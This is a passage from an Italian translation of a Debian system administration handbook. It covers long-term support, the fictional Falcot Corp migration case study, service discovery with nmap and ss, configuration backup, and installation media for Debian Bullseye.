Un ambiente desktop è un insieme di programmi raggruppati insieme per consentire una facile gestione delle operazioni più comuni attraverso un'interfaccia grafica. Generalmente includono un file manager, una suite per ufficio, un browser web, un programma di posta elettronica, accessori multimediali, ecc. La differenza più visibile risiede nella scelta della libreria grafica utilizzata: GNOME ha scelto GTK+ (software libero con licenza LGPL), e la comunità KDE ha scelto Qt (un progetto sostenuto da un'azienda, disponibile oggi sia sotto licenza GPL che commerciale).

→ https://www.gnome.org/

→ https://kde.org/

Figura 1.4. Percorso cronologico di un programma impacchettato da Debian

1.6.5. Stato di Oldstable e Oldoldstable

Ogni rilascio Stable ha una durata prevista di circa 5 anni e dato che i rilasci tendono ad avvenire ogni 2 anni, ci possono essere fino a 3 rilasci che devono essere supportati in un determinato momento. Quando viene rilasciata una nuova versione stabile, il precedente rilascio diventa Oldstable e quello ancora prima diventa Oldoldstable.

Questo Supporto a Lungo Termine (LTS) dei rilasci di Debian è un'iniziativa recente: singoli collaboratori e aziende hanno unito le forze per creare il gruppo LTS di Debian. I rilasci più vecchi che non sono più supportati dal team di sicurezza di Debian sono sotto la responsabilità di questo nuovo team.

Il team di sicurezza di Debian gestisce il supporto di sicurezza sull'attuale versione Stable ed anche sulla versione Oldstable (ma solo per il tempo strettamente necessario per garantire un anno di sovrapposizione con l'attuale versione stabile). Ciò equivale grosso modo a tre anni di supporto per ogni versione. Il team LTS di Debian si occupa degli ultimi (due) anni di supporto per la sicurezza in modo che ogni rilascio benefici di almeno 5 anni di assistenza e che gli utenti possano effettuare l'aggiornamento dalla versione N alla N+2. Per esempio, da Debian 9 Stretch a Debian 11 Bullseye.

→ https://wiki.debian.org/LTS

COMUNITÀ Aziende che sono sponsor del LTS

Il Supporto a Lungo Termine è un impegno difficile da mantenere in Debian perché i volontari tendono ad evitare tale lavoro non molto divertente. Inoltre fornire supporto di sicurezza per software rilasciato 5 anni fa è — per molti collaboratori — molto meno divertente della creazione di nuove versioni di pacchetti o dello sviluppo di nuove funzionalità.

Per farlo nascere, questo progetto ha contato sul fatto che il supporto a lungo termine era particolarmente importante per le aziende che sarebbero state disposte a ripartire il costo di questo supporto per la sicurezza.

Il progetto è iniziato nel giugno 2014: alcune organizzazioni hanno permesso ai loro dipendenti di contribuire a tempo parziale a Debian LTS, mentre altri hanno preferito sponsorizzare il progetto con denaro in modo che i collaboratori Debian siano pagati per fare il lavoro che loro non avrebbero fatto gratuitamente. La maggior parte dei collaboratori Debian disposti a essere pagati per lavorare su LTS si sono riuniti per creare una chiara offerta di sponsorizzazione gestita da Freexian (società di Raphaël Hertzog):

→ https://www.freexian.com/services/debian-lts.html

Nel team LTS di Debian, i volontari lavorano sui pacchetti che stanno loro a cuore, mentre i collaboratori pagati danno priorità ai pacchetti utilizzati dai loro sponsor.

Il progetto è sempre alla ricerca di nuovi sponsor: che ne dici della tua azienda? Potresti lasciare che un dipendente part-time dia supporto a lungo termine? Potresti stanziare un piccolo budget per il supporto alla sicurezza?

→ https://wiki.debian.org/LTS/Funding

Capitolo 2. Presentazione del caso di studio

Nel contesto di questo libro, sei l'amministratore di sistema di una piccola impresa in espansione. In collaborazione con i dirigenti devi giungere a ridefinire la strategia per i sistemi informativi per il prossimo anno. Scegli di migrare progressivamente a Debian, per ragioni tanto pratiche quanto economiche. Vediamo più in dettaglio ciò che ti aspetta…

Abbiamo concepito questo caso di studio per trattare tutti i moderni servizi per sistemi informativi attualmente usati da una media azienda. Dopo aver letto questo libro, avrai tutti gli elementi necessari per installare Debian sui tuoi server e camminare da solo. Imparerai anche come trovare informazioni efficientemente in caso di difficoltà.

2.1. Necessità per IT in veloce crescita

Falcot Corp produce attrezzature audio di alta qualità. L'azienda è in forte crescita e ha due siti produttivi, uno a Saint-Étienne e l'altro a Montpellier. Il primo ha circa 150 dipendenti, ospita una fabbrica per la produzione di altoparlanti, un laboratorio di progettazione e tutti gli uffici amministrativi. Il sito di Montpellier è più piccolo, con solo circa 50 lavoratori, e produce amplificatori.

NOTA Azienda di fantasia creata per il caso di studio

L'azienda Falcot Corp, usata qui come esempio, è interamente di fantasia. Qualsiasi somiglianza con un'azienda esistente è solamente una coincidenza. Alla stessa maniera, alcuni dati di esempio in questo libro possono essere di fantasia.

Il sistema informatico ha avuto difficoltà a stare al passo con la crescita dell'azienda, per cui ora sono decisi a ridefinirlo completamente per raggiungere i vari obiettivi stabiliti dal management:

infrastruttura moderna e facilmente ridimensionabile;

riduzione del costo delle licenze del software grazie all'uso di software Open Source;

installazione di un sito web di ecommerce, eventualmente B2B (business to business, cioè che collega sistemi informativi tra aziende diverse, come un fornitore e i suoi clienti);

significativo miglioramento della sicurezza per proteggere meglio i segreti industriali relativi ai nuovi prodotti.

L'intero sistema informativo sarà rivisto sulle basi di questi obiettivi.

2.2. Strategia

Con la tua collaborazione, il management IT ha condotto uno studio leggermente più esteso, identificando alcuni vincoli e definendo un piano di migrazione al sistema Open Source scelto, Debian.

Un vincolo significativo identificato è che la contabilità usa software specifico che gira solo su Microsoft Windows™. Il laboratorio, da parte sua, usa software CAD che gira su OS X™.

Figura 2.1. Panoramica della rete della Falcot Corp

Il passaggio a Debian sarà graduale; una piccola impresa, con mezzi limitati, non può ragionevolmente cambiare tutto da un giorno all'altro. Per iniziare lo staff IT deve essere addestrato all'amministrazione di Debian. Poi i server saranno convertiti, iniziando con l'infrastruttura di rete (router, firewall, ecc.) e proseguendo coi servizi agli utenti (condivisione dei file, web, SMTP, ecc.). Poi i computer degli uffici saranno gradualmente migrati a Debian, affinché ogni dipartimento sia addestrato (internamente) durante il passaggio al nuovo sistema.

2.3. Perché una distribuzione GNU/Linux?

FONDAMENTALE Linux o GNU/Linux?

Linux, come già sai, è solo un kernel. Le espressioni “distribuzione Linux” e “sistema Linux” sono, perciò, scorrette: si tratta, in realtà, di distribuzioni o di sistemi basati su Linux. Queste espressioni omettono di menzionare il software che completa sempre questo kernel, tra cui i programmi sviluppati dal Progetto GNU. Il Dott. Richard Stallman, fondatore di questo progetto, insiste affinché l'espressione “GNU/Linux” sia usata sistematicamente, al fine di riconoscere meglio gli importanti contributi del Progetto GNU e i principi di libertà su cui essi sono fondati.

Debian ha scelto di seguire questa raccomandazione e, perciò, chiama le proprie distribuzioni di conseguenza. Così, l'ultima versione stabile è Debian GNU/Linux 11.

Diversi fattori hanno indicato questa scelta. L'amministratore di sistema, che aveva dimestichezza con questa distribuzione, si è assicurato che fosse elencata tra i candidati per la revisione del sistema informatico. Le difficili condizioni economiche e la feroce competizione hanno limitato il budget per questa operazione, nonostante l'importanza critica per il futuro dell'azienda. Questo è il motivo per cui le soluzioni Open Source sono state scelte velocemente: diversi studi recenti indicano che sono meno costose delle soluzioni proprietarie e al tempo stesso forniscono una qualità del servizio uguale o migliore, se è disponibile del personale qualificato per gestirle.

IN PRATICA Total Cost of Ownership

Il Total Cost of Ownership (TCO) è il totale di tutto il denaro speso per il possesso o l'acquisizione di un oggetto, in questo caso si riferisce al sistema operativo. Questo prezzo comprende ogni possibile costo di licenza, costi per addestrare il personale a lavorare col nuovo software, sostituire le macchine che sono troppo lente, eseguire riparazioni aggiuntive, ecc. Viene preso in considerazione tutto ciò che deriva direttamente dalla scelta iniziale.

Questo TCO, che varia secondo il criterio scelto per la valutazione dello stesso, è raramente significativo se considerato da solo. Comunque, è molto interessante confrontare i TCO per opzioni diverse se sono calcolati secondo le stesse regole. Questa tabella di valutazione è, perciò, di fondamentale importanza ed è facile manipolarla al fine di trarre una conclusione preordinata. Perciò, il TCO per una singola macchina non ha senso, dal momento che il costo di un amministratore si riflette anche nel numero di macchine che gestisce, un numero che ovviamente dipende dal sistema operativo e dagli strumenti proposti.

Tra i sistemi operativi gratuiti, il dipartimento IT ha esaminato i sistemi BSD gratuiti (OpenBSD, FreeBSD, e NetBSD), GNU Hurd, e le distribuzioni Linux. GNU Hurd, che non ha ancora rilasciato una versione stabile è stato immediatamente scartato. La scelta è più semplice tra BSD e Linux. Il primo ha molti meriti, specialmente sui server. Il pragmatismo però ha portato alla scelta di un sistema Linux, dal momento che sia il numero di installazioni che la sua popolarità sono molto significative e hanno numerose conseguenze positive. Una di queste conseguenze è che è più facile trovare personale qualificato per amministrare macchine Linux che tecnici esperti di BSD. In più, Linux si adatta al nuovo hardware più velocemente di BSD (anche se spesso sono alla pari in questa corsa). Infine, le distribuzioni Linux sono spesso più adattate alle interfacce grafiche amichevoli, indispensabili per i principianti durante la migrazione di tutte le macchine dell'ufficio al nuovo sistema.

ALTERNATIVA Debian GNU/kFreeBSD

A partire da Debian 6 Squeeze, è possibile usare Debian con un kernel FreeBSD su computer a 32-bit e 64-bit; questo è il significato delle architetture kfreebsd-i386 e kfreebsd-amd64. Sebbene queste architetture non siano "ufficiali” (sono ospitate su un mirror separato — ports.debian.org), forniscono oltre il 60% del software pacchettizzato da Debian.

Queste architetture possono essere una scelta appropriata per gli amministratori della Falcot Corp, specialmente per un firewall (il kernel supporta tre diversi firewall: IPF, IPFW, PF) o per un NAS (network attached storage system, per il quale il filesystem ZFS è stato provato e approvato).

2.4. Perché la distribuzione Debian?

Una volta che è stata scelta la famiglia di Linux, deve essere scelta un'opzione più specifica. Di nuovo, ci sono molti criteri da considerare. La distribuzione scelta deve essere capace di funzionare per diversi anni, dal momento che la migrazione a un'altra comporterebbe dei costi aggiuntivi (sebbene minori che se la migrazione fosse tra due sistemi operativi completamente differenti, come Windows o OS X).

La sostenibilità è perciò essenziale e deve garantire aggiornamenti regolari e correzioni di sicurezza nel corso di diversi anni. Anche la tempistica degli aggiornamenti è importante, dal momento che, con così tante macchine da gestire, Falcot Corp non può gestire questa operazione complessa troppo spesso. Il dipartimento IT, perciò, insiste nell'utilizzare l'ultima versione stabile della distribuzione, beneficiando della migliore assistenza tecnica e delle correzioni di sicurezza garantite. Infatti, le correzioni di sicurezza in genere sono garantite solo per un periodo limitato per le vecchie versioni di una distribuzione.

Infine, per motivi di omogeneità e facilità di amministrazione, la stessa distribuzione deve girare su tutti i server e computer degli uffici.

2.4.1. Distribuzioni commerciali e guidate dalla comunità

Ci sono due categorie principali di distribuzioni Linux: commerciali e guidate dalla comunità. Le prime, sviluppate da aziende, sono vendute con servizi di supporto commerciali. Le altre sono sviluppate secondo lo stesso modello aperto di sviluppo del software libero di cui sono composte.

Una distribuzione commerciale avrà, perciò, la tendenza a rilasciare nuove versioni più di frequente per commercializzare meglio gli aggiornamenti e i servizi associati. Il loro futuro è collegato direttamente al successo commerciale della loro azienda e molte sono già scomparse (Caldera Linux, StormLinux, Mandriva Linux, ecc.).

Una distribuzione comunitaria non segue nessuna schedulazione, ma decide di propria iniziativa. Come il kernel Linux, le nuove versioni sono rilasciate quando sono stabili, mai prima. La sua sopravvivenza è garantita finché ci sono abbastanza sviluppatori individuali o aziende esterne che la supportano.

Un confronto tra diverse distribuzioni Linux ha portato alla scelta di Debian per varie ragioni:

È una distribuzione comunitaria, con lo sviluppo assicurato indipendentemente da qualsiasi vincolo commerciale; i suoi obiettivi sono, quindi, essenzialmente di natura tecnica, il che sembra che favorisca la qualità complessiva del prodotto.

Di tutte le distribuzioni comunitarie, è la più ragguardevole rispetto a diversi punti di vista: nel numero dei contributori, numero di pacchetti software disponibili e anni di esistenza continua. La dimensione della sua comunità è una testimonianza incontrovertibile della sua continuità.

Statisticamente, le nuove versioni vengono rilasciate ogni 18-24 mesi e sono supportate per 5anni, una cadenza accettabile dagli amministratori.

Un sondaggio su diverse aziende francesi di servizi specializzate nel software libero ha mostrato che tutte forniscono assistenza tecnica per Debian; è anche, per molte di esse, la distribuzione che hanno scelto internamente. Questa varietà di potenziali fornitori è uno dei principali asset per l'indipendenza della Falcot Corp.

Infine, Debian è disponibile su una moltitudine di architetture, incluse ppc64el per processori OpenPOWER; sarà, quindi, possibile installarla sui più recenti server IBM della Falcot Corp.

IN PRATICA Supporto Debian a Lungo Termine

Il progetto Debian Long Term Support (LTS) è iniziato nel 2014 e si propone di fornire 5 anni di supporto di sicurezza a tutte le versioni Debian stable rilasciate. Poiché LTS è di primaria importanza per le organizzazioni di grandi dimensioni, il progetto cerca di mettere in comune le risorse dalle aziende che usano Debian.

→ https://wiki.debian.org/LTS

La Falcot Corp non è abbastanza grande da poter lasciare un membro del suo personale IT per contribuire al progetto LTS, per cui l'azienda ha deciso di sottoscrivere contratti Debian LTS di Freexian e fornire il supporto finanziario. Grazie a questo, gli amministratori Falcot sanno che i pacchetti che utilizzano saranno trattati in via prioritaria e hanno un contatto diretto con il team LTS in caso di problemi.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Una volta che Debian è stata scelta, si deve decidere quale versione usare. Vediamo perché gli amministratori hanno scelto Debian Bullseye.

2.5. Perché Debian Bullseye?

Ogni rilascio di Debian inizia la propria vita come una distribuzione in continuo cambiamento, conosciuta anche come “Testing”. Ma nel momento in cui scriviamo queste righe, Debian Bullseye è l'ultima versione “Stabile” di Debian.

La scelta di Debian Bullseye è ben giustificata basandosi sul fatto che ogni amministratore interessato alla qualità dei propri server tenderà naturalmente verso la versione stabile di Debian. Anche se la precedente distribuzione stabile sarà supportata ancora per un po', gli amministratori della Falcot non la prendono in considerazione perché il suo periodo di supporto non dura abbastanza a lungo e perché l'ultima versione introduce interessanti funzionalità che ritengono importanti.

Capitolo 3. Analisi delle impostazioni esistenti e migrazione

Qualsiasi revisione di un sistema di computer deve tenere in conto il sistema esistente. Ciò permette di riutilizzare il più possibile tutte le risorse disponibili e garantisce l'interoperabilità dei vari elementi che compongono il sistema. Questo studio presenterà uno schema generico da seguire in qualsiasi migrazione di una infrastruttura di calcolo verso Linux.

3.1. Coesistenza in ambienti eterogenei

Debian si integra molto bene in tutti i tipi di ambienti esistenti e si comporta bene con qualsiasi altro sistema operativo. Questa armonia quasi perfetta deriva dalla pressione di mercato che richiede che chi pubblica software sviluppi programmi che seguono gli standard. La conformità con gli standard permette di sostituire i programmi: client o server, liberi o meno.

3.1.1. Integrazione con macchine Windows

Il supporto a SMB/CIFS di Samba assicura un'eccellente comunicazione all'interno di un contesto Windows. Condivide file e code di stampa con client Windows e include software che permette a una macchina Linux di usare risorse disponibili su server Windows.

STRUMENTO Samba

L'ultima versione di Samba può sostituire la maggior parte delle funzionalità di Windows: da quelle di un semplice server Windows NT (autenticazione, file, code di stampa, scaricamento dei driver per le stampanti, DFS, ecc.) a quello più avanzato (un controller di dominio compatibile con Active directory).

3.1.2. Integrazione con sistemi macOS

I sistemi macOS forniscono, e possono usare, dei servizi di rete come file server e condivisione di stampanti. Questi servizi sono pubblicati sulla rete locale, permettendo ad altre macchine di scoprirli ed usarli senza configurazioni manuali, usando l'implementazione Bonjour della suite di protocolli Zeroconf. Debian include un'altra implementazione, chiamata Avahi, che fornisce le stesse funzionalità.

Nella direzione opposta, il demone Netatalk può essere usato per fornire file server ai sistemi macOS sulla rete. Questo demone implementa il protocollo AFP (Apple Filing Protocol, ora AppleShare) e le notifiche necessarie perché i server siano automaticamente individuati dai client macOS.

Le reti Mac OS più vecchie (prima di OS X) usavano un protocollo differente chiamato AppleTalk. Per ambienti che includono macchine che usano questo protocollo, Netatalk fornisce anche il protocollo AppleTalk (infatti, è nato come reimplementazione di questo protocollo). Assicura l'operatività sia del server dei file e delle code di stampa, che del server dell'ora (sincronizzazione degli orologi). La sua funzione di router permette l'interconnessione con reti AppleTalk.

3.1.3. Integrazione con altre macchine Linux/Unix

Infine, NFS (Network File System) e NIS (Network Information Service), entrambi inclusi, garantiscono l'interazione con sistemi Unix. NFS assicura la funzionalità di file server, mentre NIS crea le directory degli utenti. La funzione di stampa BSD, usata dalla maggior parte di sistemi Unix, permette anche la condivisione delle code di stampa.

Figura 3.1. Coesistenza di Debian con sistemi OS X, Windows e Unix

3.2. Come migrare

Al fine di garantire la continuità dei servizi, ogni migrazione di computer deve essere scrupolosamente pianificata ed eseguita. Questo principio si applica indipendentemente dal sistema operativo in uso.

3.2.1. Rilevamento e identificazione dei servizi

Per quanto sembri semplice, questo passo è essenziale. Un amministratore scrupoloso conosce veramente i ruoli principali di ogni server, ma tali ruoli possono cambiare e talvolta utenti esperti possono aver installato servizi non "autorizzati". Sapere che esistono permette almeno di decidere cosa farne, piuttosto che eliminarli inconsapevolmente.

Per questo scopo, è saggio informare di questo progetto i propri utenti prima di migrare il server. Per coinvolgerli nel progetto, può essere utile installare i programmi liberi più comuni sui loro computer prima della migrazione, quelli che saranno incontrati di nuovo dopo la migrazione a Debian; LibreOffice e la suite Mozilla ne sono i migliori esempi.

3.2.1.1. Rete e processi

Lo strumento nmap (nel pacchetto con lo stesso nome) identificherà velocemente i servizi Internet ospitati da una macchina connessa alla rete senza nemmeno aver bisogno di accedervi. Basta semplicemente eseguire il seguente comando su un'altra macchina connessa alla stessa rete:

$ nmap mirwiz Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-29 14:41 CEST Nmap scan report for mirwiz (192.168.1.104) Host is up (0.00062s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 9999/tcp open abyss Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVA Usare ss per trovare l'elenco dei servizi disponibili

Su una macchina Linux, il comando ss -anptu mostrerà un elenco di sessioni TCP, attive od in sospeso, e di porte UDP sulle quali i programmi in esecuzione sono in ascolto. Ciò facilita l'identificazione dei servizi offerti sulla rete.

APPROFONDIMENTO IPv6

Alcuni comandi di rete possono funzionare con IPv4 (l'opzione predefinita) o con IPv6. Tra questi ci sono i comandi nmap e ss, ma anche altri come route o ip. La convenzione è che questo comportamento è abilitato dall'opzione -6 della riga di comando.

Se il server è una macchina Unix che offre una shell agli utenti, è importante determinare se, in assenza del loro proprietario, ci sono processi eseguiti in background. Il comando ps auxw mostra un elenco di tutti i processi e l'utente a cui appartiene. Confrontando queste informazioni con l'output del comando who o w, che mostra un elenco degli utenti collegati, è possibile identificare server o programmi in esecuzione in background non richiesti. Analizzare le crontab (tabelle che elencano le azioni automatiche programmate dagli utenti) fornirà spesso informazioni più dettagliate sulle funzioni svolte dal server (una spiegazione completa di cron è disponibile in Sezione 9.7, «Pianificare attività con cron e atd»).

In ogni caso è essenziale fare il backup dei propri server: questo permette il recupero di informazioni a posteriori, quando gli utenti segnaleranno problemi specifici dovuti alla migrazione.

3.2.2. Fare il backup della configurazione

È saggio conservare la configurazione di ogni servizio identificato al fine di essere in grado di installare quello equivalente sul server aggiornato. Il minimo indispensabile è fare una copia di backup dei file di configurazione.

Per le macchine Unix, i file di configurazione si trovano solitamente in /etc/, ma possono trovarsi in una sotto-directory di /usr/local/. Questo è il caso quando un programma è stato installato dai sorgenti, piuttosto che da un pacchetto. In alcuni casi si possono trovare sotto /opt/.

Per i servizi che gestiscono dati (come i database), è fortemente consigliato di esportare i dati in un formato standard che sarà facilmente importato dal nuovo software. Un tale formato è solitamente in modalità testo e documentato; può essere, per esempio, un dump SQL per un database o un file LDIF per un server LDAP.

Figura 3.2. Backup di database

Il software di ogni server è differente ed è impossibile descrivere dettagliatamente tutti i casi esistenti. Confrontare la documentazione del software attuale e di quello nuovo per identificare le porzioni esportabili (perciò re-importabili) e quelle che richiedono un intervento manuale. La lettura di questo libro chiarirà la configurazione dei principali programmi per server Linux.

3.2.3. Prendere il controllo di un server Debian esistente

Si può analizzare una macchina che già esegue Debian per prendere efficacemente il controllo della sua manutenzione.

Il primo file da controllare è /etc/debian_version, che solitamente contiene il numero di versione per il sistema Debian installato (fa parte del pacchetto base-files). Se indica codename/sid, significa che il sistema è stato aggiornato con pacchetti provenienti da una delle distribuzioni di sviluppo (testing oppure unstable).

Il comando apt-show-versions (dal pacchetto Debian con lo stesso nome) controlla l'elenco dei pacchetti installati e identifica le versioni disponibili. Anche aptitude può essere usato per questi compiti, anche se in maniera meno sistematica.

Un'occhiata al file /etc/apt/sources.list (ed alla directory /etc/apt/sources.list.d/) mostrerà da dove probabilmente provengono i pacchetti Debian installati. Se appaiono molte sorgenti sconosciute, l'amministratore può scegliere di reinstallare completamente il sistema del computer per assicurare una compatibilità ottimale con il software fornito da Debian.

Il file sources.list è spesso un buon indicatore: la maggior parte degli amministratori mantiene, almeno nei commenti, l'elenco delle fonti APT usate precedentemente. Ma non dimentichiamo che le fonti usate in passato potrebbero essere state eliminate e che alcuni pacchetti, presi da internet, potrebbero essere stati installati manualmente (con il comando dpkg). In questo caso la macchina è fuorviante nella sua apparenza di essere un sistema Debian "standard". Questo è il motivo per cui si dovrebbe fare attenzione ad ogni indizio della presenza di pacchetti esterni (presenza di file deb in directory non usuali, numeri di versione dei pacchetti con suffissi speciali che rivelano un'origine esterno al progetto Debian, come ubuntu o lmde, ecc.).

Allo stesso modo, è interessante analizzare il contenuto della directory /usr/local/, che ha lo scopo di contenere programmi compilati e installati manualmente. Elencare il software installato in questa maniera è istruttivo dal momento che solleva interrogativi sulle ragioni per cui non è stato usato il pacchetto Debian corrispondente, se un tale pacchetto esiste.

SGUARDO VELOCE cruft/cruft-ng, debsums e apt-show-versions

I pacchetti cruft e cruft-ng propongono l'elenco dei file disponibili che non sono posseduti da alcun pacchetto. Hanno alcuni filtri (più o meno efficaci e più o meno aggiornati) per evitare di riportare file legittimi (file generati da pacchetti Debian o file di configurazione generati non gestiti da dpkg, ecc.).

Si faccia attenzione a non eliminare ciecamente tutto quello che cruft e cruft-ng potrebbero elencare!

Il pacchetto debsums consente di controllare l'hash MD5 di ogni file installato da un pacchetto rispetto ad un hash di riferimento e può aiutare a determinare quali file potrebbero essere stati alterati (vedi SUGGERIMENTO Trovare i file modificati). Tenere presente che i file creati (file generati da pacchetti Debian o file di configurazione generati non gestiti da dpkg, ecc.) non sono soggetti a questo controllo.

Il pacchetto apt-show-versions fornisce uno strumento per controllare i pacchetti installati senza un pacchetto sorgente e può aiutare a determinare quelli di terze parti (vedere Sezione 6.7.3.1, «Pacchetti rimossi dall'archivio Debian»).

3.2.4. Installazione di Debian

Una volta che tutte le informazioni sul server attuale sono conosciute, possiamo spegnerlo e installarci Debian.

Per scegliere la versione appropriata, si deve conoscere l'architettura del computer. Se è un PC piuttosto recente, molto probabilmente è amd64 (i PC più vecchi erano solitamente i386). In altri casi si possono ridurre le scelte possibili in base al sistema usato precedentemente.

Tabella 3.1 non ha la pretesa di essere completa, ma può essere utile. Si noti che elenca le architetture Debian che non sono più supportate nell'attuale versione stabile. In ogni caso, la documentazione originale del computer è la fonte più affidabile per trovare questa informazione.

Tabella 3.1. Sistema operativo e architettura corrispondente

Sistema operativo | Architettura
DEC Unix (OSF/1) | alpha, mipsel
HP Unix | ia64, hppa
IBM AIX | powerpc
Irix | mips
OS X | amd64, powerpc, i386
z/OS, MVS | s390x, s390
Solaris, SunOS | sparc, i386, m68k
Ultrix | mips
VMS | alpha
Windows 95/98/ME | i386
Windows NT/2000 | i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 | i386, amd64, ia64
Windows RT | armel, armhf, arm64
Windows Vista / Windows 7-8-10 | i386, amd64

HARDWARE PC a 64 bit e PC a 32 bit

La maggior parte dei computer più recenti ha processori a 64 bit, Intel o AMD, compatibili con i più vecchi processori a 32 bit; perciò il software compilato per l'architettura "i386" funziona. D'altra parte, questa modalità compatibile non sfrutta pienamente le capacità di questi nuovi processori. Questo è il motivo per cui Debian fornisce l'architettura "amd64" che funziona sia con i chip AMD recenti sia con i processori Intel "emt64" (compresa la maggior parte delle serie Core), che sono molto simili ai processori AMD64.

3.2.5. Installazione e configurazione dei servizi scelti

Una volta che Debian è installata, è necessario installare e configurare, individualmente, ognuno dei servizi che questo computer deve ospitare. La nuova configurazione deve tenere in considerazione quella precedente per assicurare una transizione indolore. Tutte le informazioni raccolte nei primi due passi saranno utili per completare con successo questa parte.

Figura 3.3. Installazione dei servizi scelti

Prima di gettarsi a capofitto in questo esercizio, è fortemente consigliato leggere il resto di questo libro. Dopo di che si capirà meglio come configurare i servizi previsti.

Capitolo 4. Installazione

Per poter utilizzare Debian, è necessario installarla in un computer. Questa operazione viene gestita dal programma debian-installer. Una corretta installazione coinvolge molte operazioni. In questo capitolo verranno esaminate in ordine cronologico.

FONDAMENTALE Un corso per rimettersi in pari è presente nell'appendice

L'installazione di un computer è sempre più semplice, se si ha familiarità con il modo in cui funziona. Se non è così è consigliabile leggere il piccolo corso Appendice B, Breve corso di recupero prima di continuare il capitolo.

Il programma di installazione per Bullseye è basato su debian-installer. La sua struttura modulare gli permette di funzionare in diversi scenari ed evolvere adattandosi facilmente ai cambiamenti. Nonostante le limitazioni dovute alla necessità di supportare un numero elevato di architetture, il programma di installazione è molto semplice da utilizzare per i principianti, dato che fornisce assistenza in ogni fase del processo. Il riconoscimento automatico dell'hardware, il partizionamento guidato e le interfacce grafiche hanno risolto la maggior parte dei problemi che riscontravano i neofiti nelle prime versioni di Debian.

Per l'installazione sono richiesti 256 MB di RAM (Random Access Memory) e almeno 2 GB di spazio su disco. Tutti i computer della Falcot rispondono a questi criteri. Da notare, tuttavia, che tali valori valgono per l'installazione di un sistema molto limitato senza interfaccia grafica. Un minimo di 2 GB di RAM e 10 GB di spazio su disco rigido sono davvero consigliati per una workstation desktop di base per ufficio.

ATTENZIONE Aggiornamento da Buster

Se avete già Debian Bullseye installata nel proprio computer, questo capitolo non è per voi! A differenza di altre distribuzioni, Debian consente di aggiornare un sistema da una versione precedente a quella successiva senza doverlo reinstallare. La reinstallazione, oltre ad essere inutile, potrebbe essere anche pericolosa in quanto potrebbe rimuovere programmi già installati.

Il processo di aggiornamento sarà descritto in Sezione 6.7, «Aggiornare da una distribuzione stabile alla successiva».

L'aggiornamento diretto da sistemi Debian ancora più vecchi non è supportato. In questo caso è necessario aggiornare gradualmente alla versione stabile di Debian successiva a quella in uso e così via. Le versioni precedenti di questo libro forniranno l'assistenza necessaria per effettuare tale operazione.

4.1. Modalità di installazione

Un sistema Debian può essere installato da diversi supporti, a patto che il BIOS/UEFI (vedere NOTA UEFI, un moderno sostituto del BIOS) della macchina lo permetta. È possibile, ad esempio, l'avvio con un CD-ROM, una chiavetta USB o anche attraverso una rete.

4.1.1. Installazione da un CD-ROM/DVD-ROM

Il supporto di installazione più utilizzato è il CD-ROM (o DVD-ROM, che si comporta esattamente allo stesso modo): il computer viene avviato da questo supporto e viene eseguito il programma di installazione.

Vengono distribuiti svariate tipologie di CD-ROM che hanno scopi diversi: netinst (installazione via rete) contiene il programma di installazione e il sistema di base Debian; tutti gli altri programmi verranno scaricati in seguito. La sua "immagine" è un file system ISO-9660 il cui contenuto esatto del disco, occupa solamente dai 150 ai 280 MB (dipende dall'architettura). D'altro canto, la serie completa include tutti i pacchetti e permette l'installazione su un computer che non ha accesso a Internet, ma richiede circa 19 DVD-ROM (o 4 dischi Blu-ray). Non c'è più il set di CD-ROM ufficiali in quanto era gigante, raramente utilizzato ed ora la maggior parte dei computer utilizza sia DVD-ROM che CD-ROM. I programmi sono però divisi tra i dischi in base alla loro popolarità ed importanza; il primo disco sarà sufficiente per la maggior parte delle installazioni, in quanto contiene il software più utilizzato.

C'è un ultimo tipo di immagine, nota come mini.iso, che è disponibile solo come un sottoprodotto del programma di installazione. L'immagine contiene solo il minimo necessario per configurare la rete e tutto il resto viene scaricato (comprese le parti del programma di installazione stesso, che è il motivo per cui le immagini tendono a non funzionare quando viene rilasciata una nuova versione del programma di installazione). Quelle immagini possono essere trovate sui normali mirror Debian sotto la directorydists/release/main/installer-arch/current/images/netboot/.

SUGGERIMENTO Dischi multi-architettura

La maggior parte dei CD e DVD-ROM di installazione funzionano solo su un'architettura hardware specifica. Se si vogliono scaricare le immagini complete, è necessario fare attenzione a scegliere quelle che funzionano sull'hardware del computer su cui si desidera installarle.

Alcune immagini CD/DVD-ROM possono funzionare su diverse architetture. Abbiamo così un'immagine CD-ROM che combina le immagini netinst per le architetture i386 e amd64.

Le immagini dei CD-ROM di Debian possono essere, naturalmente, scaricate e masterizzate su disco. È anche possibile acquistarle, contribuendo così al progetto con un piccolo supporto finanziario. Consultate il sito web per trovare l'elenco dei distributori dei DVD-ROM e dei siti per scaricare le immagini.

→ https://www.debian.org/CD/

4.1.2. Avviare da una chiavetta USB

Poiché la maggior parte dei computer sono in grado di fare il boot da dispositivi USB, è possibile installare Debian anche da una chiavetta USB (questo non è altro che un piccolo disco di memoria flash).

Il manuale di installazione spiega come creare una chiavetta USB che contiene il debian-installer. La procedura è molto semplice poiché le immagini ISO per le architetture i386 e amd64 sono immagini ibride che permettono l'avvio sia da CD-ROM che da chiavetta USB.

È necessario, innanzitutto, identificare il nome della periferica della chiavetta USB (ad es.: /dev/sdb); il metodo più semplice per farlo è quello di controllare i messaggi emessi dal kernel utilizzando il comando dmesg. Poi bisogna copiare l'immagine ISO precedentemente scaricata (ad esempio debian-11.0.0-amd64-netinst.iso) con il comando cat debian-11.0.0-amd64-netinst.iso >/dev/sdb; sync. Questo comando richiede i permessi di amministratore, dato che accede direttamente alla periferica USB e cancella il suo contenuto.

Una spiegazione più dettagliata è disponibile nel manuale di installazione. Tra le altre cose, descrive un metodo alternativo per preparare una chiavetta USB, più complesso, ma che permette di personalizzare le opzioni predefinite di installazione (quelle specificate nella riga di comando del kernel).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. Installazione tramite l'avvio da rete

Molti BIOS permettono l'avvio direttamente dalla rete, scaricando un kernel e un'immagine minimale del file system. Questo metodo (che ha diversi nomi, come PXE o TFTP boot) può essere un salvavita se il computer non dispone di un lettore CD-ROM, o se il BIOS non prevede l'avvio da tali supporti.

